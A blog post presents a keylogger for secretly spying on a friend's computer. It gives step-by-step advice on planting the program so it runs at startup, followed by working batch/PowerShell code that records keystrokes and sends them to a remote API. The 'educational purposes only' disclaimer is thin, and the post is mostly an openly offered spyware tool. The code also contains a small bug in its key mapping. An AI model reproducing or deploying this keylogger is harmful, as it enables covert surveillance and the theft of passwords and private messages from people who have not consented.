Keylogger for spying (For education purpose only)
Keylogger for spying (For education purpose only)

Keylogger for spying (For education purpose only)

Well, a lot of people wanna know what his/her friend is doing and all. As a human being, I don’t recommend spying like this will do any good for your relationship. Because trust is very important when you want to spend any time with someone. But all I wanna do is spread education. I was thinking about keylogging since I started programming. There are lots of ways we can achieve this and there are so many online paid and free tools available too. But the problem with those tools is either they are so expensive or they are viruses if they are free. So in this case I thought of a simple keylogger that will give you access to all of the keys pressed on your friend’s computer.

What a keylogger actually is?

If you came here by reading the term, then you already would be familiar with keylogging. But if you don’t a keylogger with get all the keystrokes on the targetted computer and will send it back to the attacker’s computer. So if you think about this line very carefully, and if you are familiar with little system programming, you can build this thing. You need keystrokes, that can be done very easily in any programming language, and a google search can help you. But if you are doing it in a programming language you may need to install the environment into the targetted system, or you need to make your program executable.

Attacking with a programming language.

If you are using a programming language then you need an environment and that would be time taking while the victim is not watching, and you will need lots of time to access the system, which I think you won’t get that easily. To convert yours into an executable. for example, if the targetted system is Windows then you need to convert your code into a .exe file and that file will also put itself into a startup program so that whenever the victim starts its computer, your program will start doing the trick.

Use shell scripts

To do this task more efficiently, you can use shell scripting. For those who are not familiar with the shell script, please study a little about this, if you are on a Windows machine, you will get the BAT script, the shell will be for Linux users. I have done my program on the BAT script. 

So the steps to this trick are

1- Get keystroke, 

2- Get a server that will store data

3- Get an API that will add the data to the server

4- call the API after every keystroke, or when the space key is pressed. 

These steps will get you keystrokes in your database and you can use the added time to divide the words. And you have just spied on someone. 

All these things are for educational purposes only. Below is the code mine that does these steps in the BAT script. 

<# : batch portion (begins PowerShell multiline comment block)
@echo off & setlocal

set /P "=Waiting for ctrl-W... "<NUL

rem # re-launch self with PowerShell interpreter
powershell -noprofile "iex (${%~f0} | out-string)"

echo Pressed.  Toodles.

goto :EOF
: end batch / begin PowerShell chimera #>

# import GetAsyncKeyState()
Add-Type user32_dll @'
    [DllImport("user32.dll")]
    public static extern short GetAsyncKeyState(int vKey);
'@ -namespace System

# for Keys object constants
Add-Type -As System.Windows.Forms

function keyPressed($key) {
    return [user32_dll]::GetAsyncKeyState([Windows.Forms.Keys]::$key) -band 32768
}

while ($true) {

    $a = keyPressed "a"
    $b = keyPressed "b"
    $c = keyPressed "c"
    $d = keyPressed "d"
    $e = keyPressed "e"
    $f = keyPressed "f"
    $g = keyPressed "g"
    $h = keyPressed "h"
    $i = keyPressed "i"
    $j = keyPressed "j"
    $k = keyPressed "k"
    $l = keyPressed "l"
    $m = keyPressed "m"
    $n = keyPressed "n"
    $o = keyPressed "o"
    $p = keyPressed "p"
    $q = keyPressed "q"
    $r = keyPressed "r"
    $s = keyPressed "s"
    $t = keyPressed "t"
    $u = keyPressed "u"
    $v = keyPressed "v"
    $w = keyPressed "w"
    $x = keyPressed "x"
    $y = keyPressed "y"
    $z = keyPressed "z"
    $value="d:"
    $test=""
    if ($a) {
        $value+="a"
     }
    if ($b) { 
        $value+="b"
     }
     if ($c) { 
        $value+="c"
     }
     if ($d) { 
        $value+="d"
     }
     if ($e) { 
        $value+="e"
     }
     if ($f) { 
        $value+="f"
     }
     if ($g) { 
        $value+="h"
     }
     if ($i) { 
        $value+="i"
     }
     if ($j) { 
        $value+="j"
     }
     if ($k) { 
        $value+="k"
     }
     if ($l) { 
        $value+="l"
     }
     if ($m) { 
        $value+="m"
     }
     if ($n) { 
        $value+="n"
     }
     if ($o) { 
        $value+="o"
     }
     if ($p) { 
        $value+="p"
     }
     if ($q) { 
        $value+="q"
     }
     if ($r) { 
        $value+="r"
     }
     if ($s) { 
        $value+="s"
     }
     if ($t) { 
        $value+="t"
     }
     if ($u) { 
        $value+="u"
     }
     if ($v) { 
        $value+="v"
     }
     if ($w) { 
        $value+="w"
     }
     if ($x) { 
        $value+="x"
     }
     if ($y) { 
        $value+="y"
     }
     if ($z) { 
        $value+="z"


     }



      $url= 'path/to/the/api?key='+$value+'&&cname=test' 
     powershell.exe -noprofile -command "Invoke-WebRequest -Uri '"$url"'"

     start-sleep -milliseconds 100




}




$Host.UI.RawUI.FlushInputBuffer()

Note- You can use a get method in API which will make it easy for you to insert your code. If you find any more good ideas, share them with me at tiwarinitin94@gmail.com. It will be great to hear from you guys. 

Leave a Reply

Your email address will not be published. Required fields are marked *